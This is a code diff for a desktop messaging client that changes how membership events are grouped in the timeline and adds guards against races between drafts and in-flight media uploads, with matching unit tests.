+  assert.deepEqual(
+    group?.entries.map((groupEntry) => groupEntry.message.id),
+    ["a", "b", "c"],
+  );
 });
 
-test("buildTimelineItems: actor changes and intervening rows break member-add groups", () => {
+test("buildTimelineItems: incompatible arrivals remain separate", () => {
   const start = dayAt(2026, 6, 14);
   const entries = [
     memberAddedEntry({ id: "a", target: "target-a", createdAt: start }),
@@ -216,6 +230,22 @@ test("buildTimelineItems: actor changes and intervening rows break member-add gr
   ]);
 });
 
+test("buildTimelineItems: a member joining then leaving is one lifecycle group", () => {
+  const start = dayAt(2026, 6, 14);
+  const entries = [
+    memberJoinedEntry({ id: "joined", target: "member-a", createdAt: start }),
+    memberLeftEntry({ id: "left", target: "member-a", createdAt: start + 90 }),
+  ];
+
+  const { items } = buildTimelineItems(entries, null);
+  assert.deepEqual(kinds(items), ["day-divider", "system-group"]);
+  const group = items.find((item) => item.kind === "system-group");
+  assert.deepEqual(
+    group?.entries.map((groupEntry) => groupEntry.message.id),
+    ["joined", "left"],
+  );
+});
+
 test("buildTimelineItems: consecutive same-author messages within the window are grouped", () => {
   const entries = [
     entry({ id: "a", pubkey: "author-a", createdAt: dayAt(2026, 6, 14) }),
diff --git a/desktop/src/features/messages/lib/timelineItems.ts b/desktop/src/features/messages/lib/timelineItems.ts
index 72b83f0a07..c283871025 100644
--- a/desktop/src/features/messages/lib/timelineItems.ts
+++ b/desktop/src/features/messages/lib/timelineItems.ts
@@ -62,13 +62,10 @@ function entryRenderKey(entry: MainTimelineEntry): string {
   return entry.message.renderKey ?? entry.message.id;
 }
 
-const MEMBERSHIP_GROUP_WINDOW_SECONDS = 5 * 60;
-
-type MembershipChangePayload = {
-  actor: string | null;
-  mode: "added" | "joined";
-  target: string;
-};
+type MembershipChangePayload =
+  | { mode: "self-arrival"; target: string }
+  | { actor: string; mode: "addition"; target: string }
+  | { mode: "departure"; target: string };
 
 function parseMembershipChangePayload(
   entry: MainTimelineEntry,
@@ -81,6 +78,10 @@ function parseMembershipChangePayload(
       actor?: unknown;
       target?: unknown;
     };
+    if (payload.type === "member_left" && typeof payload.actor === "string") {
+      const target = payload.actor.trim().toLowerCase();
+      return target ? { mode: "departure", target } : null;
+    }
     if (
       payload.type !== "member_joined" ||
       typeof payload.actor !== "string" ||
@@ -92,10 +93,9 @@ function parseMembershipChangePayload(
     const actor = payload.actor.trim().toLowerCase();
     const target = payload.target.trim().toLowerCase();
     if (!actor || !target) return null;
-
     return actor === target
-      ? { actor: null, mode: "joined", target }
-      : { actor, mode: "added", target };
+      ? { mode: "self-arrival", target }
+      : { actor, mode: "addition", target };
   } catch {
     return null;
   }
@@ -105,9 +105,16 @@ function membershipChangesCanGroup(
   first: MembershipChangePayload,
   second: MembershipChangePayload,
 ): boolean {
+  if (first.mode === "self-arrival") {
+    return (
+      second.mode === "self-arrival" ||
+      (second.mode === "departure" && first.target === second.target)
+    );
+  }
   return (
-    first.mode === second.mode &&
-    (first.mode === "joined" || first.actor === second.actor)
+    first.mode === "addition" &&
+    second.mode === "addition" &&
+    first.actor === second.actor
   );
 }
 
@@ -116,6 +123,12 @@ function membershipChangesCanGroup(
  * history cannot repartition the rows that are already loaded. Their key is
  * likewise the newest entry's key: extending the oldest visible group changes
  * its contents, but not its identity or the virtual list's existing key suffix.
+ *
+ * Compatible membership activities stay together while they are contiguous.
+ * Self-joins and additions from one administrator each form their own summary;
+ * a self-join immediately followed by that member leaving becomes a single
+ * lifecycle summary. Each adjacent event must fall within the one-hour activity
+ * window, so uninterrupted activity can extend beyond an hour overall.
  */
 function buildMembershipGroups(
   entries: readonly MainTimelineEntry[],
@@ -134,14 +147,14 @@ function buildMembershipGroups(
     let start = end;
     while (start > 0) {
       const candidate = entries[start - 1];
+      const nextEntry = entries[start];
       const candidatePayload = parseMembershipChangePayload(candidate);
       if (
         barrierIndexes.has(start) ||
         !candidatePayload ||
         !membershipChangesCanGroup(candidatePayload, newestPayload) ||
         newestEntry.message.createdAt < candidate.message.createdAt ||
-        newestEntry.message.createdAt - candidate.message.createdAt >
-          MEMBERSHIP_GROUP_WINDOW_SECONDS
+        nextEntry.message.createdAt - candidate.message.createdAt > 60 * 60
       ) {
         break;
       }
diff --git a/desktop/src/features/messages/lib/useDrafts.test.mjs b/desktop/src/features/messages/lib/useDrafts.test.mjs
index c66c607b9a..e4741baa8b 100644
--- a/desktop/src/features/messages/lib/useDrafts.test.mjs
+++ b/desktop/src/features/messages/lib/useDrafts.test.mjs
@@ -488,6 +488,20 @@ test("markDraftSent_new_active_draft_after_send_is_independent", () => {
   assert.equal(getSentDraftEntries().length, 0, "no sent records");
 });
 
+test("markDraftSent_keeps_a_newer_draft_with_the_same_key", () => {
+  setup("pubkey-sent-race");
+  persistDraftEntry("chan-race", "submitted", "chan-race", [IMG_A], []);
+  // A background upload is still in flight when the user starts the next
+  // message in this channel. Its completion must not clear this newer entry.
+  persistDraftEntry("chan-race", "next draft", "chan-race", [IMG_B], []);
+
+  markDraftSentEntry("chan-race", "submitted", "chan-race", [IMG_A], []);
+
+  const draft = loadDraftEntry("chan-race");
+  assert.equal(draft?.content, "next draft");
+  assert.deepEqual(draft?.pendingImeta, [IMG_B]);
+});
+
 test("getActiveDraftEntries_excludes_cleared_drafts", () => {
   setup("pubkey-active");
   persistDraftEntry("chan-active", "active draft", "chan-active", [], []);
diff --git a/desktop/src/features/messages/lib/useDrafts.ts b/desktop/src/features/messages/lib/useDrafts.ts
index 1e9fee6e56..2a78e88132 100644
--- a/desktop/src/features/messages/lib/useDrafts.ts
+++ b/desktop/src/features/messages/lib/useDrafts.ts
@@ -1,5 +1,6 @@
 import * as React from "react";
 
+import { discardQueuedAttachmentsForDraft } from "@/features/messages/lib/backgroundMediaUploadStore";
 import type { ImetaMedia } from "@/features/messages/lib/imetaMediaMarkdown";
 import { setLocalStorageItemWithRecovery } from "@/shared/lib/localStorageQuota";
 
@@ -296,6 +297,11 @@ export function loadDraftEntry(draftKey: string): DraftState | undefined {
   return readStore().get(draftKey);
 }
 
+export function deleteDraftEntry(draftKey: string): void {
+  discardQueuedAttachmentsForDraft(draftKey);
+  clearDraftEntry(draftKey);
+}
+
 export function clearDraftEntry(draftKey: string): void {
   const map = readStore();
   if (map.has(draftKey)) {
@@ -495,12 +501,24 @@ export function getSentDraftEntries(): Array<{
  */
 export function markDraftSentEntry(
   draftKey: string,
-  _content: string,
-  _channelId: string,
-  _pendingImeta: ImetaMedia[],
-  _spoileredAttachmentUrls: string[],
+  content: string,
+  channelId: string,
+  pendingImeta: ImetaMedia[],
+  spoileredAttachmentUrls: string[],
 ): void {
-  clearDraftEntry(draftKey);
+  const draft = loadDraftEntry(draftKey);
+  // A background upload can finish after the user has started the next draft
+  // in this same channel. Clear only the exact submitted snapshot rather than
+  // deleting whichever newer entry currently owns the key.
+  if (
+    draft?.content === content &&
+    draft.channelId === channelId &&
+    JSON.stringify(draft.pendingImeta) === JSON.stringify(pendingImeta) &&
+    JSON.stringify(draft.spoileredAttachmentUrls) ===
+      JSON.stringify(spoileredAttachmentUrls)
+  ) {
+    clearDraftEntry(draftKey);
+  }
 }
 
 // ── Reactive hooks ────────────────────────────────────────────────────────────
diff --git a/desktop/src/features/messages/lib/useMediaUpload.test.mjs b/desktop/src/features/messages/lib/useMediaUpload.test.mjs
index 674cce5ffd..f4ced7c600 100644
--- a/desktop/src/features/messages/lib/useMediaUpload.test.mjs
+++ b/desktop/src/features/messages/lib/useMediaUpload.test.mjs
@@ -142,3 +142,280 @@ test("reserveSlots pads if slots array is shorter than expected start index", ()
   assert.equal(next[3], null); // reserved
   assert.equal(next[4], null); // reserved
 });
+
+// ── Draft-boundary epoch guard (pure logic) ───────────────────────────
+// Photos/files upload immediately, so an upload can still be in flight when
+// the composer swaps drafts (channel switch, post-send clear, edit restore).
+// Every wholesale `setPendingImeta` replacement bumps an epoch; uploads pin
+// the epoch at start and discard their descriptor if it no longer matches, so
+// one draft's attachment can never land in — or overwrite a slot reserved by —
+// another draft. Mirrors `isUploadStale` + `fillSlot`/`onUploaded`.
+
+function fillSlotIfCurrent(slots, index, descriptor, epoch, currentEpoch) {
+  if (epoch !== currentEpoch) return slots;
+  const next = [...slots];
+  next[index] = descriptor;
+  return next;
+}
+
+test("upload completing in the same draft fills its slot", () => {
+  const a = { url: "a.png", sha256: "aaaa" };
+  const next = fillSlotIfCurrent([null], 0, a, 0, 0);
+  assert.deepEqual(next, [a]);
+});
+
+test("upload completing after a draft switch is discarded", () => {
+  // Draft A reserves slot 0 at epoch 0, user switches channels (epoch → 1),
+  // then the upload resolves. It must not write into draft B's slots.
+  const a = { url: "a.png", sha256: "aaaa" };
+  const draftBSlots = [null];
+  const next = fillSlotIfCurrent(draftBSlots, 0, a, 0, 1);
+  assert.deepEqual(next, [null]);
+  assert.equal(next, draftBSlots);
+});
+
+test("stale upload cannot overwrite a slot the new draft already filled", () => {
+  // Draft B has its own attachment in slot 0; draft A's late upload targets
+  // the same index and must leave B's descriptor intact.
+  const stale = { url: "stale.png", sha256: "aaaa" };
+  const current = { url: "current.png", sha256: "bbbb" };
+  const next = fillSlotIfCurrent([current], 0, stale, 0, 2);
+  assert.deepEqual(next, [current]);
+});
+
+test("appending to the current draft does not bump the epoch", () => {
+  // Only wholesale replacement (`setPendingImeta(array)`) is a draft boundary.
+  // The updater form appends within the current draft, so in-flight uploads
+  // for that same draft must still be considered current.
+  let epoch = 0;
+  const bumpIfReplacement = (action) => {
+    if (typeof action !== "function") epoch += 1;
+  };
+  bumpIfReplacement((current) => [...current, { url: "pasted.png" }]);
+  assert.equal(epoch, 0);
+  bumpIfReplacement([]);
+  assert.equal(epoch, 1);
+});
+
+// ── Cancel guard for stale previews (pure logic) ───────────────────────
+// The epoch bump makes completions discard their descriptors, but the old
+// preview row (and its cancel button) can still be on screen. Cancelling it
+// must not null a slot in the draft now on screen, because the preview carries
+// the *previous* draft's slotIndex. Mirrors `cancelUpload`'s `isStalePreview`.
+
+function cancelSlotIndex(preview, currentEpoch) {
+  if (preview?.slotIndex === undefined) return undefined;
+  const isStale =
+    preview.uploadEpoch !== undefined && preview.uploadEpoch !== currentEpoch;
+  return isStale ? undefined : preview.slotIndex;
+}
+
+test("cancelling a preview from the current draft nulls its slot", () => {
+  assert.equal(cancelSlotIndex({ slotIndex: 1, uploadEpoch: 3 }, 3), 1);
+});
+
+test("cancelling a stale preview does not null the new draft's slot", () => {
+  // Draft A reserved slot 0 at epoch 0; draft B now owns slot 0. Cancelling
+  // A's leftover preview must leave B's attachment intact.
+  assert.equal(cancelSlotIndex({ slotIndex: 0, uploadEpoch: 0 }, 1), undefined);
+});
+
+test("cancelling a preview with no slot is a no-op for slots", () => {
+  // `handlePaperclip`'s native-picker preview has no reserved slot.
+  assert.equal(cancelSlotIndex({ uploadEpoch: 0 }, 0), undefined);
+});
+
+// ── Retiring in-flight uploads at a draft boundary (pure logic) ────────
+// Bumping the epoch alone discards descriptors but leaves the previous draft's
+// preview rows on screen and its uploads counted, which keeps `isUploading`
+// true and holds the *new* draft's send gate closed. A wholesale replacement
+// must therefore retire those uploads outright. Mirrors `beginNewDraftEpoch`.
+
+function beginNewDraftEpoch(state) {
+  const next = {
+    epoch: state.epoch + 1,
+    active: new Set(state.active),
+    canceled: new Set(state.canceled),
+    previews: state.previews,
+    uploadingCount: state.uploadingCount,
+  };
+  if (next.active.size === 0) return next;
+  // Mirrors the real callback: snapshot, clear the live set, then schedule the
+  // updaters. `applyUpdates` below runs them afterwards, the way React does.
+  const retiredIds = new Set(next.active);
+  const retiredCount = retiredIds.size;
+  next.active.clear();
+  for (const id of retiredIds) next.canceled.add(id);
+  next.pendingUpdates = [
+    (s) => {
+      s.previews = s.previews.filter((preview) => !retiredIds.has(preview.id));
+    },
+    (s) => {
+      s.uploadingCount = Math.max(0, s.uploadingCount - retiredCount);
+    },
+  ];
+  return next;
+}
+
+/** Run the scheduled state updaters, as React does after the event handler. */
+function applyUpdates(state) {
+  for (const update of state.pendingUpdates ?? []) update(state);
+  state.pendingUpdates = [];
+  return state;
+}
+
+test("a draft boundary retires in-flight uploads so the new draft can send", () => {
+  // Draft A has one upload in flight; switching to draft B must leave B with
+  // no previews and nothing counted as uploading.
+  const after = applyUpdates(
+    beginNewDraftEpoch({
+      epoch: 0,
+      active: new Set([1]),
+      canceled: new Set(),
+      previews: [{ id: 1, slotIndex: 0, uploadEpoch: 0 }],
+      uploadingCount: 1,
+    }),
+  );
+  assert.equal(after.epoch, 1);
+  assert.deepEqual(after.previews, []);
+  assert.equal(after.uploadingCount, 0);
+  assert.equal(after.active.size, 0);
+  // Canceled so the late completion/error paths stay silent in the new draft.
+  assert.ok(after.canceled.has(1));
+});
+
+test("retiring several concurrent uploads clears the count exactly once each", () => {
+  const after = applyUpdates(
+    beginNewDraftEpoch({
+      epoch: 4,
+      active: new Set([7, 8, 9]),
+      canceled: new Set(),
+      previews: [{ id: 7 }, { id: 8 }, { id: 9 }],
+      uploadingCount: 3,
+    }),
+  );
+  assert.equal(after.uploadingCount, 0);
+  assert.deepEqual(after.previews, []);
+});
+
+test("a draft boundary with no uploads in flight still advances the epoch", () => {
+  const after = applyUpdates(
+    beginNewDraftEpoch({
+      epoch: 2,
+      active: new Set(),
+      canceled: new Set(),
+      previews: [],
+      uploadingCount: 0,
+    }),
+  );
+  assert.equal(after.epoch, 3);
+  assert.equal(after.uploadingCount, 0);
+});
+
+test("the retired count never drives uploadingCount negative", () => {
+  // Defensive: a preview already settled by finishUpload must not be
+  // double-decremented into a negative count that would wedge the gate.
+  const after = applyUpdates(
+    beginNewDraftEpoch({
+      epoch: 0,
+      active: new Set([1, 2]),
+      canceled: new Set(),
+      previews: [{ id: 1 }, { id: 2 }],
+      uploadingCount: 1,
+    }),
+  );
+  assert.equal(after.uploadingCount, 0);
+});
+
+test("retirement holds even though the live active set is cleared first", () => {
+  // Regression: the updaters must not read the live `active` set, which is
+  // emptied before React runs them. Closing over it filtered against an empty
+  // set and subtracted 0, leaving the stale preview and a stuck send gate.
+  const state = beginNewDraftEpoch({
+    epoch: 0,
+    active: new Set([1]),
+    canceled: new Set(),
+    previews: [{ id: 1 }],
+    uploadingCount: 1,
+  });
+  assert.equal(state.active.size, 0, "live set is cleared before updates run");
+  // Updates land only now — after the clear — exactly as React schedules them.
+  applyUpdates(state);
+  assert.deepEqual(state.previews, []);
+  assert.equal(state.uploadingCount, 0);
+});
+
+test("replayed updaters stay idempotent", () => {
+  // React may invoke an updater more than once (StrictMode double-render).
+  const state = beginNewDraftEpoch({
+    epoch: 0,
+    active: new Set([1]),
+    canceled: new Set(),
+    previews: [{ id: 1 }],
+    uploadingCount: 1,
+  });
+  const updates = state.pendingUpdates;
+  for (const update of updates) update(state);
+  for (const update of updates) update(state);
+  assert.deepEqual(state.previews, []);
+  assert.equal(state.uploadingCount, 0);
+});
+
+// ── Edit mode while an upload is in flight ────────────────────────────
+// Immediate photo/file uploads reserve null slots that are absent from the
+// compacted `pendingImeta` snapshot. MessageComposer therefore rejects edit
+// entry while an upload is active, leaving the current draft and upload epoch
+// untouched. Once the upload settles, normal edit snapshot/restore proceeds.
+
+function attemptEditModeRoundTrip({ isUploading, draft = [] }) {
+  const uploaded = { sha256: "ffff", url: "in-flight.png" };
+  const editTargetImeta = [{ sha256: "eeee", url: "edit-target.png" }];
+  let slots = [...draft];
+  let epoch = 0;
+
+  if (isUploading) {
+    slots = [...slots, null];
+    return {
+      editEntered: false,
+      epoch,
+      restoredDraft: slots,
+    };
+  }
+
+  const snapshot = [...slots];
+  epoch += 1;
+  slots = editTargetImeta;
+  epoch += 1;
+  slots = snapshot;
+
+  return {
+    editEntered: true,
+    epoch,
+    restoredDraft: slots,
+    uploaded,
+  };
+}
+
+test("edit entry is rejected without replacing a draft that is uploading", () => {
+  const existing = { sha256: "aaaa", url: "already-there.png" };
+  const result = attemptEditModeRoundTrip({
+    draft: [existing],
+    isUploading: true,
+  });
+
+  assert.equal(result.editEntered, false);
+  assert.equal(result.epoch, 0, "the current draft epoch must not be retired");
+  assert.deepEqual(result.restoredDraft, [existing, null]);
+});
+
+test("edit entry proceeds normally after uploads settle", () => {
+  const existing = { sha256: "aaaa", url: "already-there.png" };
+  const result = attemptEditModeRoundTrip({
+    draft: [existing],
+    isUploading: false,
+  });
+
+  assert.equal(result.editEntered, true);
+  assert.equal(result.epoch, 2);
+  assert.deepEqual(result.restoredDraft, [existing]);
+});
diff --git a/desktop/src/features/messages/lib/useMediaUpload.ts b/desktop/src/features/messages/lib/useMediaUpload.ts
index 6a7bd01aaf..da5ea4679f 100644
--- a/desktop/src/features/messages/lib/useMediaUpload.ts
+++ b/desktop/src/features/messages/lib/useMediaUpload.ts
@@ -5,6 +5,10 @@ import {
   pickAndUploadMedia,
   uploadMediaBytes,
 } from "@/shared/api/tauri";
+import { uploadMediaFile } from "@/shared/api/tauriMedia";
+import type { QueuedMediaAttachment } from "./backgroundMediaUploadStore";
+import { applyImetaUpdate, compactImetaSlots } from "./imetaSlots";
+import { isVideoFile, videoMimeForFile } from "./videoFileType";
 
 import {
   MEDIA_TOO_LARGE_MESSAGE,
@@ -36,7 +40,14 @@ export type UploadingAttachmentPreview = {
    * (e.g. video transcoding before the HTTP upload starts). */
   progress?: number | null;
   slotIndex?: number;
+  spoilered?: boolean;
   type?: string;
+  /**
+   * Upload epoch this preview was created in. Cancel handling compares it
+   * against the current epoch so a preview left over from a replaced draft
+   * cannot null a slot belonging to the draft now on screen.
+   */
+  uploadEpoch?: number;
 };
 
 /** Correlation id for the Rust `media-upload-progress` events. */
@@ -89,9 +100,16 @@ type CapturedVideoPoster = {
 async function captureVideoPosterFrame(
   file: File,
 ): Promise<CapturedVideoPoster | null> {
-  if (!file.type.startsWith("video/")) return null;
-
-  const objectUrl = URL.createObjectURL(file);
+  const videoMime = videoMimeForFile(file);
+  if (!videoMime) return null;
+
+  // A blob URL inherits the File's own MIME type, so a video whose type is
+  // empty or `application/octet-stream` would be rejected by the <video>
+  // element and yield no poster. Re-type the bytes with the MIME we derived
+  // from the extension; `slice` wraps the same bytes without copying them.
+  const objectUrl = URL.createObjectURL(
+    file.type === videoMime ? file : file.slice(0, file.size, videoMime),
+  );
   const video = document.createElement("video");
   video.muted = true;
   video.playsInline = true;
@@ -139,7 +157,26 @@ async function captureVideoPosterFrame(
   }
 }
 
-export function useMediaUpload() {
+type UseMediaUploadOptions = {
+  /** Keep newly selected videos local until the message is submitted. */
+  deferUploadsUntilSend?: boolean;
+};
+
+export function useMediaUpload({
+  deferUploadsUntilSend = false,
+}: UseMediaUploadOptions = {}) {
+  const e2eConfig = (
+    window as Window & {
+      __BUZZ_E2E__?: { mock?: { deferredComposerUploads?: boolean } };
+    }
+  ).__BUZZ_E2E__;
+  const queueUntilSend =
+    deferUploadsUntilSend &&
+    (!e2eConfig || e2eConfig.mock?.deferredComposerUploads === true);
+  const shouldQueueFile = React.useCallback(
+    (file: File) => queueUntilSend && isVideoFile(file),
+    [queueUntilSend],
+  );
   const [uploadState, setUploadState] = React.useState<UploadState>({
     status: "idle",
   });
@@ -150,6 +187,11 @@ export function useMediaUpload() {
   >([]);
   const uploadingPreviewsRef = React.useRef(uploadingPreviews);
   uploadingPreviewsRef.current = uploadingPreviews;
+  const [queuedAttachments, setQueuedAttachmentsState] = React.useState<
+    QueuedMediaAttachment[]
+  >([]);
+  const queuedAttachmentsRef = React.useRef(queuedAttachments);
+  queuedAttachmentsRef.current = queuedAttachments;
   React.useEffect(() => {
     let unlisten: (() => void) | null = null;
     let cancelled = false;
@@ -188,6 +230,13 @@ export function useMediaUpload() {
   }, []);
   const activeUploadingPreviewIdsRef = React.useRef(new Set<number>());
   const canceledUploadingPreviewIdsRef = React.useRef(new Set<number>());
+  /**
+   * Incremented whenever the composer's attachment set is replaced wholesale
+   * (draft/channel switch, post-send clear, edit restore). Uploads capture the
+   * epoch at start and discard their result if it no longer matches, so an
+   * upload started against one draft can never land in another.
+   */
+  const uploadEpochRef = React.useRef(0);
 
   // ── Drag-over visual indicator state ───────────────────────────────
   const [isDragOver, setIsDragOver] = React.useState(false);
@@ -204,7 +253,7 @@ export function useMediaUpload() {
   );
 
   const pendingImeta = React.useMemo(
-    () => imetaSlots.filter((d): d is BlobDescriptor => d !== null),
+    () => compactImetaSlots(imetaSlots),
     [imetaSlots],
   );
 
@@ -254,6 +303,99 @@ export function useMediaUpload() {
    *  before React flushes the state update. */
   const nextSlotRef = React.useRef(0);
   const nextUploadingPreviewIdRef = React.useRef(0);
+  const nextQueuedAttachmentIdRef = React.useRef(0);
+
+  const updateQueuedVideoPoster = React.useCallback(
+    (id: number, posterUrl: string) => {
+      setQueuedAttachmentsState((current) =>
+        current.map((attachment) =>
+          attachment.id === id
+            ? { ...attachment, previewUrl: posterUrl }
+            : attachment,
+        ),
+      );
+    },
+    [],
+  );
+
+  const queueFiles = React.useCallback(
+    (files: File[]) => {
+      if (files.length === 0) return;
+
+      const attachments = files.map((file) => {
+        const id = nextQueuedAttachmentIdRef.current;
+        nextQueuedAttachmentIdRef.current += 1;
+        const previewUrl = file.type.startsWith("image/")
+          ? URL.createObjectURL(file)
+          : undefined;
+        if (isVideoFile(file)) {
+          void captureVideoPosterFrame(file).then((poster) => {
+            if (poster) updateQueuedVideoPoster(id, poster.posterUrl);
+          });
+        }
+        return { file, id, previewUrl, spoilered: false };
+      });
+
+      setQueuedAttachmentsState((current) => [...current, ...attachments]);
+    },
+    [updateQueuedVideoPoster],
+  );
+
+  const removeQueuedAttachment = React.useCallback((id: number) => {
+    setQueuedAttachmentsState((current) => {
+      const removed = current.find((attachment) => attachment.id === id);
+      if (removed?.previewUrl?.startsWith("blob:")) {
+        URL.revokeObjectURL(removed.previewUrl);
+      }
+      return current.filter((attachment) => attachment.id !== id);
+    });
+  }, []);
+
+  const clearQueuedAttachments = React.useCallback(() => {
+    setQueuedAttachmentsState((current) => {
+      for (const attachment of current) {
+        if (attachment.previewUrl?.startsWith("blob:")) {
+          URL.revokeObjectURL(attachment.previewUrl);
+        }
+      }
+      return [];
+    });
+  }, []);
+
+  const restoreQueuedAttachments = React.useCallback(
+    (attachments: QueuedMediaAttachment[]) => {
+      clearQueuedAttachments();
+      queueFiles(attachments.map((attachment) => attachment.file));
+      setQueuedAttachmentsState((current) =>
+        current.map((attachment, index) => ({
+          ...attachment,
+          spoilered: attachments[index]?.spoilered ?? false,
+        })),
+      );
+    },
+    [clearQueuedAttachments, queueFiles],
+  );
+
+  const toggleQueuedAttachmentSpoiler = React.useCallback((id: number) => {
+    setQueuedAttachmentsState((current) =>
+      current.map((attachment) =>
+        attachment.id === id
+          ? { ...attachment, spoilered: !attachment.spoilered }
+          : attachment,
+      ),
+    );
+  }, []);
+
+  React.useEffect(
+    () => () => {
+      for (const attachment of queuedAttachmentsRef.current) {
+        if (attachment.previewUrl?.startsWith("blob:")) {
+          URL.revokeObjectURL(attachment.previewUrl);
+        }
+      }
+    },
+    [],
+  );
 
   const isUploadCanceled = React.useCallback(
     (previewId?: number) =>
@@ -274,10 +416,18 @@ export function useMediaUpload() {
 
       setUploadingPreviews((prev) => [
         ...prev,
-        { id, filename: file?.name, slotIndex, type: file?.type },
+        {
+          id,
+          filename: file?.name,
+          slotIndex,
+          // Normalize an extension-detected video to its MIME type so the
+          // preview renders (and offers a spoiler toggle) like any other video.
+          type: file ? (videoMimeForFile(file) ?? file.type) : undefined,
+          uploadEpoch: uploadEpochRef.current,
+        },
       ]);
 
-      if (file?.type.startsWith("video/")) {
+      if (file && isVideoFile(file)) {
         void captureVideoPosterFrame(file).then((poster) => {
           if (!poster || isUploadCanceled(id)) return;
           setUploadingPreviews((prev) =>
@@ -304,13 +454,56 @@ export function useMediaUpload() {
     [removeUploadingPreview],
   );
 
+  /**
+   * Mark a draft boundary: the composer's attachment set was replaced
+   * wholesale (channel/draft switch, post-send clear, edit-target restore), so
+   * every upload in flight belongs to a draft that is no longer on screen.
+   *
+   * Bumping the epoch makes those uploads discard their descriptors, and
+   * retiring them drops their preview rows and their share of
+   * `uploadingCount` immediately — otherwise the previous draft's uploads
+   * would appear under the new draft and hold its send gate closed until they
+   * finished. Marking them canceled also suppresses their completion and error
+   * paths, so a failure the user has switched away from cannot raise a banner.
+   *
+   * Bump and retire are deliberately one operation: an epoch bump without the
+   * retire is what left stale previews (and a stuck send gate) behind.
+   */
+  const beginNewDraftEpoch = React.useCallback(() => {
+    uploadEpochRef.current += 1;
+    const activeIds = activeUploadingPreviewIdsRef.current;
+    if (activeIds.size === 0) return;
+    // Snapshot before clearing the live set: the state updaters below run
+    // lazily (and may be replayed), so they must not close over a set that
+    // this callback empties before React invokes them — that would filter
+    // against an empty set and subtract 0, leaving the stale preview and a
+    // stuck send gate in the new draft.
+    const retiredIds = new Set(activeIds);
+    const retiredCount = retiredIds.size;
+    activeIds.clear();
+    for (const id of retiredIds) {
+      canceledUploadingPreviewIdsRef.current.add(id);
+    }
+    setUploadingPreviews((prev) =>
+      prev.filter((preview) => !retiredIds.has(preview.id)),
+    );
+    setUploadingCount((count) => Math.max(0, count - retiredCount));
+  }, []);
+
   const cancelUpload = React.useCallback(
     (previewId: number) => {
       canceledUploadingPreviewIdsRef.current.add(previewId);
-      const slotIndex = uploadingPreviewsRef.current.find(
-        (preview) => preview.id === previewId,
-      )?.slotIndex;
-      if (slotIndex !== undefined) {
+      const preview = uploadingPreviewsRef.current.find(
+        (candidate) => candidate.id === previewId,
+      );
+      const slotIndex = preview?.slotIndex;
+      // Only null the slot when the preview still belongs to the draft on
+      // screen. A preview left over from a replaced draft carries that draft's
+      // slotIndex, which may now address a different attachment.
+      const isStalePreview =
+        preview?.uploadEpoch !== undefined &&
+        preview.uploadEpoch !== uploadEpochRef.current;
+      if (slotIndex !== undefined && !isStalePreview) {
         setImetaSlots((prev) => {
           if (slotIndex >= prev.length) return prev;
           const next = [...prev];
@@ -338,10 +531,29 @@ export function useMediaUpload() {
     return startIndex;
   }, []);
 
+  /**
+   * True when the composer's attachment set was replaced since `epoch` was
+   * captured, meaning an upload that started then belongs to a draft that is
+   * no longer on screen and must not write its descriptor.
+   */
+  const isUploadStale = React.useCallback(
+    (epoch: number) => epoch !== uploadEpochRef.current,
+    [],
+  );
+
   /** Fill a previously-reserved slot by index. */
   const fillSlot = React.useCallback(
-    (index: number, descriptor: BlobDescriptor, previewId?: number) => {
+    (
+      index: number,
+      descriptor: BlobDescriptor,
+      previewId?: number,
+      epoch = uploadEpochRef.current,
+    ) => {
       if (isUploadCanceled(previewId)) return;
+      if (isUploadStale(epoch)) {
+        finishUpload(previewId);
+        return;
+      }
       setImetaSlots((prev) => {
         const next = [...prev];
         next[index] = descriptor;
@@ -349,18 +561,26 @@ export function useMediaUpload() {
       });
       finishUpload(previewId);
     },
-    [finishUpload, isUploadCanceled],
+    [finishUpload, isUploadCanceled, isUploadStale],
   );
 
   /** Append a single descriptor (no pre-reserved slot). */
   const onUploaded = React.useCallback(
-    (descriptor: BlobDescriptor, previewId?: number) => {
+    (
+      descriptor: BlobDescriptor,
+      previewId?: number,
+      epoch = uploadEpochRef.current,
+    ) => {
       if (isUploadCanceled(previewId)) return;
+      if (isUploadStale(epoch)) {
+        finishUpload(previewId);
+        return;
+      }
       nextSlotRef.current += 1;
       setImetaSlots((prev) => [...prev, descriptor]);
       finishUpload(previewId);
     },
-    [finishUpload, isUploadCanceled],
+    [finishUpload, isUploadCanceled, isUploadStale],
   );
 
   const onUploadError = React.useCallback(
@@ -372,26 +592,85 @@ export function useMediaUpload() {
     [finishUpload, isUploadCanceled],
   );
 
+  const uploadFiles = React.useCallback(
+    (files: File[]) => {
+      if (files.length === 0) return;
+
+      setUploadingCount((count) => count + files.length);
+      const baseIndex = reserveSlots(files.length);
+      // Pin the epoch at start: if the composer swaps drafts mid-flight, these
+      // completions are discarded rather than written into the new draft.
+      const epoch = uploadEpochRef.current;
+
+      for (let index = 0; index < files.length; index++) {
+        const file = files[index];
+        const slotIndex = baseIndex + index;
+        const previewId = reserveUploadingPreview(file, slotIndex);
+        // Fire-and-forget each upload concurrently — slot preserves order.
+        void (async () => {
+          try {
+            const descriptor = await uploadMediaFile(
+              file,
+              uploadProgressId(previewId),
+            );
+            fillSlot(slotIndex, descriptor, previewId, epoch);
+          } catch (err) {
+            onUploadError(err, previewId);
+          }
+        })();
+      }
+    },
+    [fillSlot, onUploadError, reserveSlots, reserveUploadingPreview],
+  );
+
   /**
-   * Report files rejected by the pre-flight check. Nothing was uploaded for
-   * these, so there is no preview to finish — only the banner to raise.
+   * Route a batch of dropped / pasted / picked files: refuse anything over the
+   * size cap, then split the rest between the send-time queue and immediate
+   * upload. Every batch entry point funnels through here, so the cap also
+   * covers the queue path — a queued 400 MB video would otherwise be refused
+   * only at send time, after the composer accepted it.
    */
-  const reportOversize = React.useCallback((count: number) => {
-    if (count === 0) return;
-    setUploadState({ status: "error", message: MEDIA_TOO_LARGE_MESSAGE });
-  }, []);
+  const acceptFiles = React.useCallback(
+    (files: File[]) => {
+      const { accepted, oversize } = partitionBySize(files);
+      if (oversize.length > 0) {
+        setUploadState({ status: "error", message: MEDIA_TOO_LARGE_MESSAGE });
+      }
+      if (accepted.length === 0) return;
+      queueFiles(accepted.filter(shouldQueueFile));
+      uploadFiles(accepted.filter((file) => !shouldQueueFile(file)));
+    },
+    [queueFiles, shouldQueueFile, uploadFiles],
+  );
 
   const handlePaperclip = React.useCallback(async () => {
+    if (queueUntilSend) {
+      const input = document.createElement("input");
+      input.type = "file";
+      input.multiple = true;
+      input.addEventListener(
+        "change",
+        () => {
+          acceptFiles(Array.from(input.files ?? []));
+        },
+        { once: true },
+      );
+      input.click();
+      return;
+    }
+
